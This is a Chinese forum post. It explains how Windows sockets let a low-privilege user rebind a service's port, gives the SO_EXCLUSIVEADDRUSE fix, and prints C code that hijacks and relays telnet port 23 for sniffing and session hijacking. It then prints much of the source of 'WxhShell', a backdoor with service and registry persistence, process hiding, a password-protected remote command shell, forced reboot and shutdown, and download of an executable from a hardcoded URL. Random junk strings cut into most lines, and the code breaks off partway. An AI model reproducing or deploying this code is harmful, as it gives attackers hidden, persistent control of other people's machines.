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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  1{fu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ihn#GzM?u  
=pT}]  
  saddr.sin_family = AF_INET; `@_j Do  
buj *L&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K~ch OX  
a^#\"c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MH0xD  
O:% ,.??<%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q0m> NA   
MvCB|N"qy  
  这意味着什么?意味着可以进行如下的攻击: xYLTz8g=  
zfsGf 'U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =qJlSb  
No\3kRB4bi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qUS y0SQ/l  
4MFdhJoN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IPVD^a ?  
Kggc9^ 7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'DhH:PR  
9}*Pb6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lH%%iYBM  
IYG,nt !  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o8RVmOXe  
L*(!P4S%}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1B0+dxN`  
%2 I >0  
  #include j}`XF?2D  
  #include <rKfL`8p  
  #include .:~{+ <*`  
  #include    (drDC1\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EGL7z`nt  
  int main() zObrp  
  { # 0* oj/  
  WORD wVersionRequested; srGF=1_  
  DWORD ret; (nDen5Q|  
  WSADATA wsaData; CMiE$yC  
  BOOL val; WV8vDv1jt  
  SOCKADDR_IN saddr; n:8<Ijrh  
  SOCKADDR_IN scaddr; :Z R5<Y>  
  int err; U =i=E}'  
  SOCKET s; H %bXx-  
  SOCKET sc; _O$7*k  
  int caddsize; Puq  
  HANDLE mt; o>l/*i0I  
  DWORD tid;   "\~d!"n|2  
  wVersionRequested = MAKEWORD( 2, 2 ); I1)t1%6"vJ  
  err = WSAStartup( wVersionRequested, &wsaData ); -;Ij ,  
  if ( err != 0 ) { U/s!Tb>`  
  printf("error!WSAStartup failed!\n"); />X"' G  
  return -1; SZVAf|]Yg  
  } 7Eo;TNbb  
  saddr.sin_family = AF_INET; E4cPCQyeH  
   lzbAx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lJJ`aYDp  
!+)5?o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v.!e1ke8D*  
  saddr.sin_port = htons(23); -)%g MD~z1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x4N*P  
  { .At^b4#(  
  printf("error!socket failed!\n"); qa>H@`P  
  return -1; ~(x"Y\PEu  
  } dcH@$D@~S  
  val = TRUE; ^Z>Nbzr{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kQ99{l H,5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &~&oB;uR  
  { CQns:.`$`  
  printf("error!setsockopt failed!\n"); [Te"|K':  
  return -1; 2uzy]faM  
  } ,Zva^5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O$(#gB'B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QB<~+d W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M\D25=(  
x>Gx yVE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8D&yFal  
  { SH5a&OVZhn  
  ret=GetLastError(); d",VOhW7)S  
  printf("error!bind failed!\n"); DEQ7u`6  
  return -1; j2`%sBo  
  } .L8g( F(=:  
  listen(s,2); 8zrLl:{  
  while(1) ?BnX<dbi&  
  { uwc@~=;  
  caddsize = sizeof(scaddr); =5q_aK#i  
  //接受连接请求 W690N&Wz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MWI7u7{  
  if(sc!=INVALID_SOCKET) _-:CU  
  { .!)i    
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pnp)- a*7  
  if(mt==NULL) {lbNYjknS  
  { l&_PsnU  
  printf("Thread Creat Failed!\n"); ]T;  
  break; l\_81oZ  
  } ]-{A"tJ  
  } m9mkZ:r(kV  
  CloseHandle(mt); sI5S)^'IQ  
  } 0gsRBy  
  closesocket(s); Nz%Yi?AF  
  WSACleanup(); oR~s \Gt  
  return 0; ld[BiP`B2V  
  }   i'3)5  
  DWORD WINAPI ClientThread(LPVOID lpParam) b6d}<b9#  
  { 7qL B9r  
  SOCKET ss = (SOCKET)lpParam; I#:Dk?"O2  
  SOCKET sc; S#b)RpY  
  unsigned char buf[4096]; Y-.aSc53  
  SOCKADDR_IN saddr; XaH;  
  long num; X@\ 9}*9  
  DWORD val; YM&i  
  DWORD ret; rCd*'Qg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t[p/65L>8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qkA8q@Y4|  
  saddr.sin_family = AF_INET; Gx;-1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [mFgo il  
  saddr.sin_port = htons(23); Ge ?Q)N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v<vaPvW  
  { /kV5~i<1S  
  printf("error!socket failed!\n"); qZ%0p*P#_  
  return -1; yJ*g ;  
  } ,!QtViA7  
  val = 100; xm0(U0 >  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vx%!j&  
  { I_is3y0  
  ret = GetLastError(); q"u,r6ED  
  return -1; tR<L9h  
  } qHu\3@px  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g4Nl"s*~  
  { fF^A9{{BS  
  ret = GetLastError(); ;{1  ws  
  return -1; :KI0j%>2y  
  } h$#|s/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4ah5}9{g  
  { vRLWs`1j  
  printf("error!socket connect failed!\n"); ^!Tq(t5V  
  closesocket(sc); 5l]qhi3f  
  closesocket(ss); [tkP2%1  
  return -1; 7X8n|NZRH7  
  }  QB#_Wn  
  while(1) +wcif-  
  { Xb.# =R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (!%w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,[[Xo;q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T/?C_i  
  num = recv(ss,buf,4096,0); 3il/{bgM  
  if(num>0) 0Om<+]).R  
  send(sc,buf,num,0); /0r6/ _5-.  
  else if(num==0) X nB-1{a1  
  break; %FJB9?9=|  
  num = recv(sc,buf,4096,0); LJOJ2x  
  if(num>0) fv:&?gc  
  send(ss,buf,num,0); h]WW?.   
  else if(num==0) ,p V3O`z  
  break; zYEb#*Kar  
  } <f;X s(  
  closesocket(ss); |N0RBa4%  
  closesocket(sc); w0 1u~"E  
  return 0 ; (^$SM uC  
  } il7gk<  
,"f2-KC4h  
>2mV {i&  
========================================================== fJ;1ii~  
"\qm+g  
下边附上一个代码,,WXhSHELL ^TT_B AI  
>g,i"Kg  
========================================================== slYC\"$  
UB]]oC<  
#include "stdafx.h" vvP]tRZ  
Bkdt[qDn5P  
#include <stdio.h> -H$C3V3]  
#include <string.h> `.F3&pA  
#include <windows.h> #@<L$"L  
#include <winsock2.h> pDt45   
#include <winsvc.h> T^S $|d  
#include <urlmon.h> -*;JUSGh  
5}:`CC2,S~  
#pragma comment (lib, "Ws2_32.lib") Jp(CBCG{F  
#pragma comment (lib, "urlmon.lib") MS& 'Nj  
Asli<L(?`  
#define MAX_USER   100 // 最大客户端连接数 C;m*0#9D  
#define BUF_SOCK   200 // sock buffer ]~9YRVeC  
#define KEY_BUFF   255 // 输入 buffer S5e"}.]|  
\vgM`32<  
#define REBOOT     0   // 重启 [E0.4FLT!  
#define SHUTDOWN   1   // 关机 R0T{9,;[`  
fz<GPw  
#define DEF_PORT   5000 // 监听端口 @"n]v)[4  
tHFBLM  
#define REG_LEN     16   // 注册表键长度 L/)Q1Mm  
#define SVC_LEN     80   // NT服务名长度 {YEGy  
]%+T+ zg(Y  
// 从dll定义API beFD}`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !BN@cc[%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J#?z/3v(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8b< 'jft  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !fG}<6&i  
.QB)Y* z  
// wxhshell配置信息 %VS+?4ww  
struct WSCFG { M9KoQS  
  int ws_port;         // 监听端口 HJ;!'@  
  char ws_passstr[REG_LEN]; // 口令 VVk8z6 W  
  int ws_autoins;       // 安装标记, 1=yes 0=no MGsY3~!K  
  char ws_regname[REG_LEN]; // 注册表键名 m:c .dei5  
  char ws_svcname[REG_LEN]; // 服务名 newURb,-!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @cn8m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u6i X&%e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 40%<E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c.}#.-b8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z7R2viR[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "X\6tl7a|  
H4uHCkj  
}; fy={  
FBS]U$1  
// default Wxhshell configuration 9/dADJe0b  
struct WSCFG wscfg={DEF_PORT, QFIYnxY9  
    "xuhuanlingzhe", 6b\JD.r*{  
    1, 4oN*J +"=+  
    "Wxhshell", :i* =s}cv  
    "Wxhshell", ;-8]  
            "WxhShell Service", $tDM U3,W  
    "Wrsky Windows CmdShell Service", yw*| HT  
    "Please Input Your Password: ", Y/y`c-VO  
  1, z|O3pQn~  
  "http://www.wrsky.com/wxhshell.exe", j {Sbf04  
  "Wxhshell.exe" F-GH?sfvi  
    }; [m(n-Mu F  
(PSL[P  
// 消息定义模块 B4x@{rtER  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wx|De7*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |};-.}u^`h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &[_D'jm+S0  
char *msg_ws_ext="\n\rExit."; !H~PF*,hY  
char *msg_ws_end="\n\rQuit."; f*Yr*yC  
char *msg_ws_boot="\n\rReboot..."; oq2-)F2/  
char *msg_ws_poff="\n\rShutdown..."; "]U_o<V  
char *msg_ws_down="\n\rSave to "; 8j}o\!H  
4c@_u8  
char *msg_ws_err="\n\rErr!"; 1:Wl/9mL  
char *msg_ws_ok="\n\rOK!"; K1zH\wH  
uIR/^o  
char ExeFile[MAX_PATH]; \  `|  
int nUser = 0; 6`Diz_(  
HANDLE handles[MAX_USER]; d?)Ic1][  
int OsIsNt; ;!)gjiapw  
G|qsJ  
SERVICE_STATUS       serviceStatus; KU;J2Kt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [H {2<!  
`Af5%m[  
// 函数声明 @P<aTRy,f  
int Install(void); dlBr2 9  
int Uninstall(void); N[kl3h%q  
int DownloadFile(char *sURL, SOCKET wsh); A5RM&y  
int Boot(int flag); o>A']+`E u  
void HideProc(void); A}_0iwG  
int GetOsVer(void); nf,Ez  
int Wxhshell(SOCKET wsl); ;Hn>Ew  
void TalkWithClient(void *cs); QI`&N(n  
int CmdShell(SOCKET sock); uLrZl0%HT~  
int StartFromService(void); >9t+lr1   
int StartWxhshell(LPSTR lpCmdLine); a"phwCc"%  
0](V@F"~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3z -="_p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xr{ r&Rl  
Yduj3Ht:w  
// 数据结构和表定义 d)L,kzN  
SERVICE_TABLE_ENTRY DispatchTable[] = rs,:pU  
{ >Zh^,T={G  
{wscfg.ws_svcname, NTServiceMain}, i&0Zli  
{NULL, NULL} O&r9+r1`  
}; ,D\}DJ`)C  
'SKq<X%R;  
// 自我安装 SyI i*dH  
int Install(void) Nh1, w  
{ _^`TG]F  
  char svExeFile[MAX_PATH]; %!]CP1S  
  HKEY key; T*92o:^  
  strcpy(svExeFile,ExeFile); O}X@QG2_  
cpM]APF-  
// 如果是win9x系统,修改注册表设为自启动 aMaqlqf  
if(!OsIsNt) { U3t) yr h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SbH} cu8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h`4!Qv  
  RegCloseKey(key); ;$FMOMR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fkD-mRKw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~LJtlJ 0  
  RegCloseKey(key); [uFv_G{H  
  return 0; 'W/AYF^5  
    } +{WZpP},v  
  } jm,:jkr  
} :b<<  
else { 0iVeM!bM  
}[]1`2qD  
// 如果是NT以上系统,安装为系统服务 &;%, Axc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n\u3$nGL1`  
if (schSCManager!=0) ~{q; - &  
{ i7\MVI 8  
  SC_HANDLE schService = CreateService ;TboS-Y  
  ( 56H~MnX  
  schSCManager, oWBjPsQ  
  wscfg.ws_svcname, sq+cF/jo6  
  wscfg.ws_svcdisp, ?6 "B4%7b  
  SERVICE_ALL_ACCESS, na3lbwq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ie4X k  
  SERVICE_AUTO_START, bDnT><eH  
  SERVICE_ERROR_NORMAL, Wo6C0Z3g}  
  svExeFile, I|_U|H!`  
  NULL, h&z(;B!;y.  
  NULL, &"clBR Vg  
  NULL, j4$NQ]e^4  
  NULL, -P28pVX`  
  NULL A#nSK#wS61  
  ); NUX$)c  
  if (schService!=0) QPKY9.Rvv  
  { *OHaqe(*  
  CloseServiceHandle(schService); u >[hLXuB  
  CloseServiceHandle(schSCManager); Q'0:k{G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oPrK{flm  
  strcat(svExeFile,wscfg.ws_svcname); J1Oe`my  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lSBu,UQP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y~Vl0f;  
  RegCloseKey(key); ;2'/rEq4o  
  return 0; q6eD{/4a1  
    } %QQJSake|  
  } Z%QU5.  
  CloseServiceHandle(schSCManager); \hZye20  
} E|x t\ *  
} )No>Q :t  
{emym$we  
return 1; x, #?  
} iy [W:<c7j  
qjf9ZD&  
// 自我卸载 gFr-P!3  
int Uninstall(void) XT{ukEvDR  
{ bkIQ?cl<at  
  HKEY key; N9=?IFEe]  
!~te&ccPE  
if(!OsIsNt) { ~Q+J1S]Fs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `$ZBIe/u  
  RegDeleteValue(key,wscfg.ws_regname); <+AvbqDe  
  RegCloseKey(key); 3j/~XT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7$7#z\VWu  
  RegDeleteValue(key,wscfg.ws_regname); 2 xt$w%  
  RegCloseKey(key); 4td9=dNA+l  
  return 0; ~U1M -<IX  
  } i(0%cNP7  
} 7a4h7/  
} AIt;~x  
else { 8-FW'bA  
Vs, &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y >U_l:_^  
if (schSCManager!=0) isor%R!  
{ +}Qq#^:_\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); . r \g]  
  if (schService!=0) C@rIyBj1g  
  { +]0/:\(B  
  if(DeleteService(schService)!=0) { FTcXjWBPF9  
  CloseServiceHandle(schService); htOVt\+!34  
  CloseServiceHandle(schSCManager); @c;:D`\p1C  
  return 0; R&MetQ~-{  
  } im"3n=  
  CloseServiceHandle(schService); }/aqh;W  
  } 077 wk  
  CloseServiceHandle(schSCManager); ~) vz`bD1  
} 7t|011<  
} sEcg;LFp  
pZ&?uo67_  
return 1; Df=Xbf>jt9  
} HA3d9`  
~jMfm~  
// 从指定url下载文件 U] av{}U  
int DownloadFile(char *sURL, SOCKET wsh) M6z$*? <  
{ Imz1"+E~  
  HRESULT hr; C ,#D4  
char seps[]= "/"; sdXZsQw  
char *token; FXFyF*w2  
char *file; 1_5]3+r_U-  
char myURL[MAX_PATH]; 2 t:CK  
char myFILE[MAX_PATH]; aThvq%;  
H*h4D+Kxv  
strcpy(myURL,sURL); AzFS6<_  
  token=strtok(myURL,seps); I Ab-O  
  while(token!=NULL) =90)=Pxd  
  { M Jtn)gXb  
    file=token; l vfplA  
  token=strtok(NULL,seps); f<*-;  
  } '?qI_LP?  
8RU91H8fE  
GetCurrentDirectory(MAX_PATH,myFILE); 7>xfQ  
strcat(myFILE, "\\"); }/M`G]wT#  
strcat(myFILE, file); ?Y_!Fr3V  
  send(wsh,myFILE,strlen(myFILE),0); lh*!f$2 ~  
send(wsh,"...",3,0); "1ov<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [}Y_O*C !  
  if(hr==S_OK) ^d!I{ y#  
return 0; #oxP,LR  
else "eR-(c1  
return 1; !t|2&R$IQ  
Mby V_A`r_  
} zC>zkFT>H  
k1Sr7|  
// 系统电源模块 {1[f9uPS  
int Boot(int flag) zQx6r .  
{ .[S\&uRv  
  HANDLE hToken; -E-e!  
  TOKEN_PRIVILEGES tkp; j&"GE':Y  
 ].3@ Dk  
  if(OsIsNt) { @%rj1Gn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D@`"99z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .*nr3dY  
    tkp.PrivilegeCount = 1; {lNG:o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _!^2A3c<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y(h (Z  
if(flag==REBOOT) { 30Udba+{]p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cb%ML1c  
  return 0; :?H1h8wbCt  
} z?.XVk-  
else { - e_B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /R[P sB  
  return 0; EL;OYW(  
} ]vZ}4Xno  
  } M nDa ag  
  else { "rR$2`v"  
if(flag==REBOOT) { BD&AtOj[,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fz^5cxmw  
  return 0; V5S6?V \  
} 8QN/D\uq  
else { i?|b:lcV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nv%0EAa#}  
  return 0; LqoH]AcN  
} nVGWJ3  
} sm at6p[  
A5%cgr% 6  
return 1; %DuSco"  
} qz.WF8Sy2  
/[>zFYaQ  
// win9x进程隐藏模块 ~  ve  
void HideProc(void) r,cK#!<%  
{ [G7S  
X A-,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "In$|A\?E  
  if ( hKernel != NULL ) 7*g'4p-  
  { L?r\J8Ch<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JVh/<A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !=(M P:  
    FreeLibrary(hKernel); . /~#  
  } qaEWK0  
)/uCdSDIc  
return; 2[5z6oG  
} trM)&aQto  
}Fb966 $  
// 获取操作系统版本 <*5`TE0J  
int GetOsVer(void) yI8 /m|  
{ Tizjh&*^  
  OSVERSIONINFO winfo; 3Qu Ft~@@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GE |P)VO  
  GetVersionEx(&winfo); h SU|rVi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f}{Oj-:"CC  
  return 1; |5me }!C  
  else 5g4xhYl70n  
  return 0; <O9.GHV1v  
} w"A%@<V3Ec  
`(pe#Xxn  
// 客户端句柄模块 H?)?(t7@  
int Wxhshell(SOCKET wsl) 4zx_L8#Z  
{ 8AIAv_ g  
  SOCKET wsh; .:2=VLujU  
  struct sockaddr_in client; DWcEl:  
  DWORD myID; Gkz~x Qy1T  
x<h-F  
  while(nUser<MAX_USER) O%rt7qV"g2  
{ Tg/r V5@ka  
  int nSize=sizeof(client); 07A2@dx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l5,}yTUta  
  if(wsh==INVALID_SOCKET) return 1; bb"x^DtT  
,[)f-FmcU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uqK[p^{  
if(handles[nUser]==0) <PXnR\  
  closesocket(wsh); JURJN+)z  
else 19;F+%no#  
  nUser++; t$5)6zG  
  } D8wZC'7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I>45xVA  
q?Av5TFf  
  return 0; M;1B}x@  
} Ub<^;Du5  
<!I^xo [  
// 关闭 socket dJUI.!hv;  
void CloseIt(SOCKET wsh) `&qeSEs\  
{ ?\Lf=[  
closesocket(wsh); b'TkYa^  
nUser--; n]J;BW& Av  
ExitThread(0); 7wwlZ;w  
} !-Md+I_  
n<66 7 <  
// 客户端请求句柄 ,: 4+hJ<q  
void TalkWithClient(void *cs) C}cYG  
{ R#33AC CX  
F)4;:".zna  
  SOCKET wsh=(SOCKET)cs; S9@)4|3C|p  
  char pwd[SVC_LEN]; 6sl2vHzA  
  char cmd[KEY_BUFF]; =1h> N/VJ  
char chr[1]; OQa;EBO  
int i,j; -H AUKY@;5  
HLp'^  
  while (nUser < MAX_USER) { S`Wau/7t  
GXx/pBdy[4  
if(wscfg.ws_passstr) { iJ 8I# j+N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \[;Qqn0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]^?V8*zL]  
  //ZeroMemory(pwd,KEY_BUFF); b1frAA  
      i=0; ^+q4*X6VB  
  while(i<SVC_LEN) { Z<n%~z^  
p_Y U!j_VE  
  // 设置超时 u4;#~##  
  fd_set FdRead; {_1zIt|  
  struct timeval TimeOut; (S#nA:E  
  FD_ZERO(&FdRead); [wR x)F"  
  FD_SET(wsh,&FdRead); SoJ'y6  
  TimeOut.tv_sec=8; =9'px3:'WR  
  TimeOut.tv_usec=0; `]\:%+-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I85bzzZB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R.B3  
6qp' _?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NlV,] $L1T  
  pwd=chr[0]; F~${L+^  
  if(chr[0]==0xd || chr[0]==0xa) { \)m V2r!%  
  pwd=0; $09PZBF,i  
  break; /J` ZO$  
  } 8lcB.M  
  i++; '*,P33h9<!  
    } >ISN2Kn   
> ;zQ.2*  
  // 如果是非法用户,关闭 socket hp)k[|u;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3# r` e  
} R=u!Rcv R  
<zE~N~;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C'Z6l^{>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X6lUFko  
0R[onPU_vZ  
while(1) { )k'4]=d <  
@F,8M  
  ZeroMemory(cmd,KEY_BUFF); gg%9EJpP  
'Xw> ?[BB  
      // 自动支持客户端 telnet标准   sQ8_j  
  j=0; (&t8.7O  
  while(j<KEY_BUFF) { ]@bu%_s"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @-F[3`HeA  
  cmd[j]=chr[0]; O9(6?n  
  if(chr[0]==0xa || chr[0]==0xd) { zM*PN|/%sH  
  cmd[j]=0; CH3bpZv  
  break; h|S6LgB  
  } _/ Uer }  
  j++; [j^c&}0  
    } _ BUD~'Q5  
qD/X%`>Q  
  // 下载文件 i!9|R)c  
  if(strstr(cmd,"http://")) { It8m]FN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Af%#&r7W  
  if(DownloadFile(cmd,wsh)) 8m poY.E4!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z>+Tzvfud  
  else ra*(.<&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TScI_8c>  
  } TB  
  else { /WX 0}mWu  
D%NVqk|  
    switch(cmd[0]) { BavGirCp  
  {s/u [T_D2  
  // 帮助 't:s6  
  case '?': { (<:mCPk(~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k%S;N{Qh@  
    break; K4>nBvZ?v  
  } mfpL?N  
  // 安装 _wMYA8n  
  case 'i': { KJ&~z? X  
    if(Install()) rAZsVnk?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :VEy\ R>W  
    else ]&l%L4Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DeTD.)pS  
    break; &z"sT*3  
    } |w7D&p$  
  // 卸载 N)H _4L  
  case 'r': { ek3,ss3  
    if(Uninstall()) iAAlld1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.oh6wz  
    else d|c> Y(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); onOvE Y|R  
    break; +GqV9x 8  
    } $NG|z0  
  // 显示 wxhshell 所在路径 oykqCN  
  case 'p': { 37M?m$BL  
    char svExeFile[MAX_PATH]; ,*Z:a 4  
    strcpy(svExeFile,"\n\r"); g9F4nExo  
      strcat(svExeFile,ExeFile); v%%;Cp73  
        send(wsh,svExeFile,strlen(svExeFile),0); XdR^,;pWE  
    break; F;,LY:s|Z  
    } V;}6C&aP.  
  // 重启 OG&X7>'3I{  
  case 'b': { .oR_r1\y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +@c-:\K%  
    if(Boot(REBOOT)) DoYzTSWx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yA#-}Y|]b  
    else { > l@ o\  
    closesocket(wsh); 6%&RDrn  
    ExitThread(0); U;Ne"Jh  
    } %ut7T!Jp  
    break; Q|`sYm'.  
    } ;0!rq^JG  
  // 关机 H#+?)<UQ  
  case 'd': { (i*;V0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c 8 xZT  
